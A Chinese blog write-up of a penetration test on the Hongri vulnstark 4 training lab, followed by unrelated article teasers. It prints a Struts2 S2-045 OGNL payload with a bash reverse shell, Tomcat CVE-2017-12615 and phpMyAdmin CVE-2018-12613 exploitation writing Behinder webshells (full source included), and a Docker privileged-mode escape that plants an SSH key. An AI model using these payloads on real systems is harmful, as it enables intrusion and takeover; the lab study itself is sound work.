红日靶场vulnstark 4靶机的测试报告[细节](一)

目录

一、测试环境

1、系统环境

2、注意事项

3、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、漏洞利用Getshell

①Struts 2 s2-045漏洞

手工利用s2-45漏洞

Msf综合利用

 ②Tomcat框架(CVE-2017-12615)

 ③phpMyAdmin(CVE-2018-12613)

 构造语句写入冰蝎木马

3、Docker服务器逃逸

 ①struts2应用

 ②tomcat应用(docker特权模式逃逸)

 ③phpMyAdmin应用

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.200.131)

靶  机:域控主机DC[192.168.183.130(仅主机的183网段,配置好的固定IP)];Web[(仅主机的183网段,192.168.183.128,配置好的固定IP);192.168.200.145(NAT网卡)];win7(仅主机的183网段,192.168.183.131,配置好的固定IP)。

密码信息(默认密码):

  • Web服务器:ubuntu/ubuntu
  • 域成员主机:douser/Dotest123
  • 域控主机默认密码:administrator/Test2008
  • 域控主机修改后的密码:Admin123456

2、注意事项

  1. 设置一个仅主机网卡,网段为183;每台主机的仅主机网卡使用这个即可。设置完成三台主机即可互相ping通。
  2. 域内主机win7无法以管理员权限运行文件, 提示“目前没有可用的登录服务器处理登录请求”,不过仅主机网卡即可通信,无伤大雅。
  3. Web主机ubuntu需要手动开启环境s2-045、CVE-2017-12615、CVE-2018-12613,命令如下:
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

开启后即完成了环境搭建

3、使用工具/软件

        Kali: cs服务器(teamserver)、arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster (目录遍历)、msfconsole(漏洞利用)、nc(监听工具)、ssh-keygen(生成ssh秘钥)

        struts 2漏洞检测工具、cdk(docker漏洞检测)、冰蝎Behinder_v4.0.6(webshell管理)、mobaxterm(shell管理)

        测试网址:
http://192.168.200.145:2001;http://192.168.200.145:2002;http://192.168.200.145:2003

后面两篇文章地址:

红日靶场vulnstark 4靶机的测试报告[细节](二)-CSDN博客文章浏览阅读382次,点赞11次,收藏3次。基于渗透测试流程渗透vulnstark 4靶场;红日靶场;内网渗透;mimikatz;msfconsole;ms 14-68;ms17-010;永恒之蓝;域内信息搜集;Windows渗透;域渗透;Kerberoshttps://blog.csdn.net/2301_79698171/article/details/144306473?spm=1001.2014.3001.5501

红日靶场vulnstark 4靶机的测试报告[细节](三)-CSDN博客文章浏览阅读372次,点赞12次,收藏8次。基于渗透测试流程测试vulnstark 4靶场;https://blog.csdn.net/2301_79698171/article/details/144308001?spm=1001.2014.3001.5501 

二、测试目的

通过web打点进入shell后台,docker逃逸到物理机。

三、操作过程

1、信息搜集

开启kali,CS启动!

主机探测

arp-scan -l

探测到靶机IP:192.168.200.145

端口和服务探测

nmap -sN -A -p- -T4 192.168.200.145

开启了22端口(ssh服务)、2001端口(jetty搭建的服务,struts2中间件)、2002端口(tomcat中间件)、2003端口(apache中间件,phpmyadmin服务)

进行目录扫描

2001端口目录扫描失败

gobuster dir -u http://192.168.200.145:2001 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt

扫描2002端口

gobuster dir -u http://192.168.200.145:2002 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt

没扫描到什么有用的信息,都是tomcat的文件

Tomcat版本:8.5.19

扫描2003端口

gobuster dir -u http://192.168.200.145:2003 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt

扫到很多目录和文件

主页phpmyadmin,无需登录即可管理数据库

Mysql版本:5.5.62

2、漏洞利用Getshell

①Struts 2 s2-045漏洞

使用struts 2漏洞检测工具查一下漏洞,存在s2-045漏洞

这个漏洞利用方式有很多:手工注入、msf集成利用或者是集成工具直接利用。

检测工具地址:

https://github.com/s0k/Deserialize/blob/main/struts2/Struts2%E6%BC%8F%E6%B4%9E%E6%A3%80%E6%9F%A5%E5%B7%A5%E5%85%B72019%E7%89%88%20V2.3.exe

执行命令成功

手工利用s2-45漏洞

尝试手工利用s2-45漏洞一下

漏洞url:http://192.168.200.145:2001/doUpload.action

RCEpoc:

Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

尝试抓包(提交按钮的包)修改Content-Type参数,发包执行命令

执行反弹shell

反弹shell命令:

bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1

$IFS:是 Bash 的一个环境变量,表示内部字段分隔符。默认情况下,IFS 用于分隔字符串。

$9:是 Bash 中的一个位置参数,指代第 9 个命令行参数。该位置参数为空,因此它不会对命令产生直接影响。

完整poc:

Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

在kali开启监听

发送poc,即可接收反弹shell

获取反弹shell

Msf综合利用

Msf命令如下:

use exploit/multi/http/struts2_content_type_ognl
set TARGETURI /doUpload
set RHOSTS 192.168.200.145
set RPORT 2001
set LPORT 6666
set FETCH_WRITABLE_DIR /tmp
set FETCH_SRVPORT 8081
run

执行命令完成后直接获取了meterpreter权限

 ②Tomcat框架(CVE-2017-12615)

这个环境存在tomcat一个经典的任意文件上传的漏洞(就白盒测试来说,这是直接拉的docker环境CVE-2017-12615漏洞复现)

下面就这个漏洞进行利用

打开burp,随机抓取一个tomcat站点的数据包

修改:PUT上传方法、请求行url、新增Content-Type:application/x-www-form-urlencoded头、请求主体是木马文件内容

完整数据包:

PUT /tomcat.jsp/ HTTP/1.1

Host: 192.168.200.145:2002

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type:application/x-www-form-urlencoded

Connection: keep-alive

Referer: http://192.168.200.145:2002/

Cookie: JSESSIONID=1ld91a1s2g4bn11znldfexvfm; phpMyAdmin=2efb6ffa53fc258b51330d35976b057b; pma_lang=zh_CN

Upgrade-Insecure-Requests: 1

Priority: u=0, i

Content-Length: 572

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*�ƥ:ޥ�32Mmd5<�M16M
ؤޥ�rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

发包,返回值201表示成功

可以访问jsp木马文件,空白页

冰蝎也成功连接

 ③phpMyAdmin(CVE-2018-12613)

这里利用的是一个任意文件包含漏洞getshell

漏洞url:

http://192.168.200.145:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../etc/passwd

可以看到成功地包含了文件

在执行sql语句的页面

select "<?php echo 'pwd';?>"

执行的sql语句会先储存在临时session文件中,session文件以session值来命名

结果如下:

抓包查看session值,phpMyAdmin的参数值就是:2efb6ffa53fc258b51330d35976b057b

临时session文件名只需要加上sess_的前缀,保存在tmp目录下

sess_2efb6ffa53fc258b51330d35976b057b

利用原理:执行插入php木马的查询语句,在任意文件包含漏洞页面包含临时session文件执行php代码。

以刚刚执行的例子中执行的php代码为例,包含临时session文件发现语句被执行,输出了pwd的字段。

http://192.168.200.145:2003/index.php?target=db_sql.php%253f/../../../../../../../../../tmp/sess_2efb6ffa53fc258b51330d35976b057b

php中,反引号(`)中的内容会被当做shell命令执行。

比如,执行这样一句查询语句:select "<?php echo `pwd`; ?>"

可以看到包含页面内执行php语句没有像之前一样输出pwd,而是执行pwd命令,回显当前目录:/var/www/html

当然,这个目录就是web目录,是当前页的目录

 构造语句写入冰蝎木马

select '<?php echo `echo "<?php eval(base64_decode(冰蝎的php webshell base64加密)); ?>" > /var/www/html/mysql.php`; ?>';

这个编码用php的base64_encode生成的编码,不然base64代码可能用不了

完整poc:

select '<?php echo `echo "<?php eval(base64_decode(QGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7CgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Cg));?>" > /var/www/html/mysql.php`;?>';

执行完毕,刷新一下包含页面执行

访问http://192.168.200.145:2003/mysql.php

可以看到webshell成功创建,这种页面就是正确的,可以连冰蝎

成功连接冰蝎!!

太不容易了,编码被卡住了好久。

php的webshell:注释内容要删掉、最后一行需要换行符。

这样的编码才连的上冰蝎!

这里把冰蝎的php马源码也放一下,修改过后的:

@error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15];}}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);

3、Docker服务器逃逸

由于Docker 容器是与物理机隔离的,所以我们需要进行Docker逃逸。Docker逃逸是指利用Docker 容器可能存在的不安全配置,将获得的Docker容器权限转变为物理机权限。

Docker 容器有许多逃逸手段,举例如下:

  • 内核漏洞:由于Docker容器与物理机共享一个内核,当该内核存在内核漏洞时,在Docker 容器内利用内核漏洞可能直接获得物理机权限。
  •  Docker API 未授权访问漏洞:当物理机的Docker API开启并同意未授权访问时,在Docker 容器内可以使用Docker API新建一个Docker 容器,并将物理机的根目录挂载到新Docker 容器的某目录下。
  •  Docker 容器以特权模式启动:当Docker容器是以特权模式启动时,可以使用mount命令将物理机的根目录挂载到当前Docker 容器的某目录下。

在Docker 容器内可以通过使用cdk进行不安全配置扫描。cdk是一个开源的Docker容器渗透工具包,下载地址为https://github.com/cdk-team/CDK/releases/tag/v1.0.6。cdk可以检测当前Docker 容器内是否存在不安全的配置和漏洞,并可以通过不安全的配置和漏洞进行Docker 逃逸。

 ①struts2应用

获取的反弹shell,可以很清楚地看到是root权限,@后面明显是docker的id号

显然这是一个docker容器

查找一下.dockerenv文件

find / -name .dockerenv

.dockerenv文件是docker容器特有的文件,可以确定当前服务器是一个docker容器。

如图,查找到了.dockerenv文件的路径:

靶机下载cdk并赋予执行权限运行

wget 192.168.200.131:8888/cdk
chmod +x cdk
./cdk evaluate --full

 没什么有用信息

 ②tomcat应用(docker特权模式逃逸)

查看系统信息,是Linux系统、root权限

find / -name .dockerenv

也找到了.dockerenv文件

上传cdk文件

赋予执行权限并执行

/tmp/ >chmod +x cdk_linux_amd64
/tmp/ >./cdk_linux_amd64 evaluate –full

可以看到扫出了,开启了特权权限

cdk工具可以直接利用漏洞

挂载根目录利用命令:

./cdk_linux_amd64 run mount-disk

该命令首先会在Docker容器中的/tmp目录下生成一个cdk_xxxxx文件(xxxxx为随机字母组成),再将物理机的根目录挂载到/tmp/cdk_xxxxx目录下

可以在挂载目录查看物理机的根目录

cd /tmp/cdk_p95Pg
ls

成功挂载了物理机的根目录,可以通过写计划任务或写SSH秘钥的方式获取物理机权限。信息搜集时获取了靶机开启了SSH服务,将ssh秘钥写入挂载的根目录即可登录。命令如下:

kali生成一份公钥私钥

ssh-keygen -t rsa

私钥文件:/root/.ssh/id_rsa

公钥文件:/root/.ssh/id_rsa.pub

查看公钥文件

cat /root/.ssh/id_rsa.pub

将这份公钥复制到docker挂载的物理机公钥存放处,使用私钥即可登录

mkdir .ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDuJWjhVWp/dik4+3SMRZ/Cx26SISK1JeEmpZjDALNiv/PndTtJ2OofwrxNEdjoq7ZSeVsgY05MfEFwOwa7OsewkV0X+yRFdAGbMb3EcLVjsVXEIpiOf0U6yQld2JJofRTn9ZjgDbW1wU/f0OWSU+sk1JHoJlUcDuDUiHoQj5RBzzyZaWKX7zfx2Xey1t9/89VND2FUYz8cyJO+fZzPSdm1aRIERaVla9hlcq9aPMn/DeLJdNHEz0pbhmBHRQBz32/8XH8vJLGUhuyw3OytDyShQONsxs1rsCIg5gRg/IjsTzsNRs1HMmt+WBmOFMtSTknIyaCUGd72/HSQZdI7DSVgq4hA7q1QJKF19l4ievXh9eHHqb6RMJkkY7YIwIZnfSIC7JKZy9M+bshUEzbD9FcBrQJ/SQTy5u6BpGoRV47CeIxDTn3DcjCa7uWtL2RnTVyTvXPvJqrhzerSFZqTPoJEPNTj11JrOIkt23vR2a4AAYLH+ERZRmE14RSn3PJKKf0= root@hacker" > /tmp/cdk_p95Pg/root/.ssh/authorized_keys

ssh的目录和公钥都需要特定的权限才能运行

ssh目录(权限700)

~/.ssh/authorized_keys文件(权限600)

chmod 700 .ssh
chmod 600 authorized_keys

使用mobaxterm工具的ssh登录

使用私钥id_rsa

成功登录root用户

 ③phpMyAdmin应用

查看基本信息:Linux系统,并且用户名是docker的命名特征,内核也是ubuntu14.04;php版本:7.2.5

猜测这也是docker容器

同样找到了dockerenv文件

find / -name .dockerenv

要进行docker容器逃逸,需要把获得的权限提升为管理员,尝试提权

尝试脏牛漏洞提权失败

四、结论

由于靶场报告内容太多,一篇文章会很冗杂,决定分为三篇发送。
这里已经获取了web靶机的物理机root权限,通过docker逃逸实现的。
下一篇文章会进行内网渗透,获取域内主机和域控服务器的权限。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/486272.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

利用 360 安全卫士极速版关闭电脑开机自启动软件教程

在使用电脑的过程中&#xff0c;过多的开机自启动软件会严重拖慢电脑的开机速度&#xff0c;影响我们的使用体验。本教程中简鹿办公将详细介绍如何使用 360 安全卫士极速版关闭电脑开机自启动软件&#xff0c;让您的电脑开机更加迅速流畅。 一、打开 360 安全卫士极速版 在电…

计算机毕业设计Spark股票推荐系统 股票预测系统 股票可视化 股票数据分析 量化交易系统 股票爬虫 股票K线图 大数据毕业设计 AI

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…

本文介绍麒麟信安服务器系统(kylinsec)的安装。

本文介绍麒麟信安服务器系统&#xff08;kylinsec&#xff09;的安装。 下载 在开源欧拉官方找到商业版本的介绍找到相关产品&#xff1a; https://www.openeuler.org/zh/download/commercial-release/ 麒麟信安kylinsec下载地址&#xff1a; https://mirrors.kylinsec.com…

并发专题(10)之FutureTask源码剖析

一、FutureTask介绍 Java创建线程的方式&#xff0c;一般常用的是Thread&#xff0c;Runnable&#xff0c;如果需要处理当前的任务有返回结果的话&#xff0c;需要使用Callable。Callable运行需要配合Future来使用。 Future是一个接口&#xff0c;一般会使用FutureTask实现类去…

ssh远程升级Ubuntu20.04到Ubuntu 22.04

ssh远程升级Ubuntu20.04到Ubuntu 22.04 陈拓 2024/10/16-2024/10/26 1. 简介 本文介绍了如何通过ssh将Ubuntu系统从20.04升级到22.04。 在进行系统升级之前&#xff0c;建议备份重要数据&#xff0c;以防升级过程中出现问题。 2. 更新当前系统 硬件系统架构 当前操作系统版…

新手SEO指南:如何从零开始优化网站实现流量增长

内容概要 在这一部分&#xff0c;我们将简要概述新手在进行SEO优化时需要掌握的一些关键内容。SEO&#xff08;搜索引擎优化&#xff09;是一个复杂而多层次的过程&#xff0c;对网站流量的提升至关重要。无论您是刚刚踏入这一领域的新手&#xff0c;还是希望进一步提升网站性…

FPGA实战篇(呼吸灯实验)

1.呼吸灯简介 呼吸灯采用 PWM 的方式&#xff0c;在固定的频率下&#xff0c;通过调整占空比的方式来控制 LED 灯亮度的变化。 PWM&#xff08;Pulse Width Modulation &#xff09;&#xff0c;即脉冲宽度调制&#xff0c;它利用微处理器输出的 PWM 信号&#xff0c;实现对…

使用 OpenCV 进行 Android 开发

在本节中&#xff0c;我们将创建一个简单的应用程序&#xff0c;它除了加载 OpenCV 之外什么都不做。在下一节中&#xff0c;我们将扩展它以支持相机。 除了这个说明&#xff0c;你还可以使用一些视频指南&#xff0c;例如这个 打开 Android Studio 并选择Empty Views Activi…

项目实例_FashionMNIST_CNN

前言 提醒&#xff1a; 文章内容为方便作者自己后日复习与查阅而进行的书写与发布&#xff0c;其中引用内容都会使用链接表明出处&#xff08;如有侵权问题&#xff0c;请及时联系&#xff09;。 其中内容多为一次书写&#xff0c;缺少检查与订正&#xff0c;如有问题或其他拓展…

Autosar FO时间分析和设计规范导读

一、规范功能概述 “Timing Analysis and Design AUTOSAR FO R24 - 11” 文档主要聚焦于汽车电子系统开发中的定时分析与设计&#xff0c;详细阐述了相关概念、方法、用例及涉及的各项要素&#xff0c;旨在为汽车电子系统的开发提供全面且系统的定时分析指导&#xff0c;以确保…

使用 libssh2_session_set_timeout 设置 SSH 会话超时时间

使用 libssh2_session_set_timeout 设置 SSH 会话超时时间 函数原型参数说明返回值示例代码注意事项libssh2_session_set_timeout 是 libssh2 库中的一个函数,用于设置 SSH 会话的超时时间。这对于防止网络延迟或连接中断导致的长时间挂起非常有用。 函数原型 int libssh2_se…

001 LVGL PC端模拟搭建

01 LVGL模拟器介绍 使用PC端软件模拟LVGL运行&#xff0c;而不需要任何嵌入式硬件 环境搭建&#xff1a;codeblocks-20.03mingw-setup 正常安装流程即可 工程获取&#xff1a;LVGL官网-> github仓库 本地安装包下载资源包 工程模版和软件安装包 补充&#xff1a;…

开源ISP介绍(2)————嵌入式Vitis搭建

Vivado搭建参考前一节Vivado基于IP核的视频处理框架搭建&#xff1a; 开源ISP介绍&#xff08;1&#xff09;——开源ISP的Vivado框架搭建-CSDN博客 导出Hardware 在vivado中导出Hardware文件&#xff0c;成功综合—实现—生成比特流后导出硬件.xsa文件。&#xff08;注意导…

人工智能-自动驾驶领域

目录 引言自动驾驶与人工智能的结合为什么自动驾驶领域适合发表文章博雅智信的自动驾驶辅导服务结语 引言 自动驾驶技术的崛起是当代交通行业的一场革命。通过结合先进的人工智能算法、传感器技术与计算机视觉&#xff0c;自动驾驶不仅推动了技术的进步&#xff0c;也使得未来…

Kubernetes 深入浅出系列 | 容器编排与作业调度之Deployment

目录 概述Deployment 的更新原理实验 概述 Kubernetes 中&#xff0c;Deployment 控制器是用于管理应用程序生命周期的核心对象。Deployment 通过管理 ReplicaSet 来间接控制 Pod&#xff0c;确保在任何时刻都能维持指定数量的 Pod 副本。这种间接管理使得 Deployment 功能比 …

Java——异常机制(上)

1 异常机制本质 (异常在Java里面是对象) (抛出异常&#xff1a;执行一个方法时&#xff0c;如果发生异常&#xff0c;则这个方法生成代表该异常的一个对象&#xff0c;停止当前执行路径&#xff0c;并把异常对象提交给JRE) 工作中&#xff0c;程序遇到的情况不可能完美。比如…

如何查看电脑的屏幕刷新率?

1、按一下键盘的 win i 键&#xff0c;打开如下界面&#xff0c;选择【系统】&#xff1a; 2、选择【屏幕】-【高级显示设置】 如下位置&#xff0c;显示屏幕的刷新率&#xff1a;60Hz 如果可以更改&#xff0c;则选择更高的刷新率&#xff0c;有助于电脑使用起来界面更加流…

WAT绕过姿势

一.空格字符绕过 两个空格代替⼀个空格&#xff0c;⽤ Tab 代替空格&#xff0c;%a0空格 %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ select * from users where id1 /*!union*//*!select*/1,2,3,4; %09 TAB 键&#xff08;⽔平&#xff09;%0a 新建⼀⾏%0c 新的⼀⻚%0d …

Ubuntu 环境美化

一、终端选择 zsh 参考文章使用 oh-my-zsh 美化终端 Oh My Zsh 是基于 zsh 命令行的一个扩展工具集&#xff0c;提供了丰富的扩展功能。 先安装zsh再安装Oh My Zsh 1.zsh安装 sudo apt-get install zsh 2.设置默认终端为 zsh chsh -s /bin/zsh 3.安装 oh-my-zsh 官网&…

QT的ui界面显示不全问题(适应高分辨率屏幕)

//自动适应高分辨率 QCoreApplication::setAttribute(Qt::AA_EnableHighDpiScaling);一、问题 电脑分辨率高&#xff0c;默认情况下&#xff0c;打开QT的ui界面&#xff0c;显示不全按钮内容 二、解决方案 如果自己的电脑分辨率较高&#xff0c;可以尝试以下方案&#xff1a;自…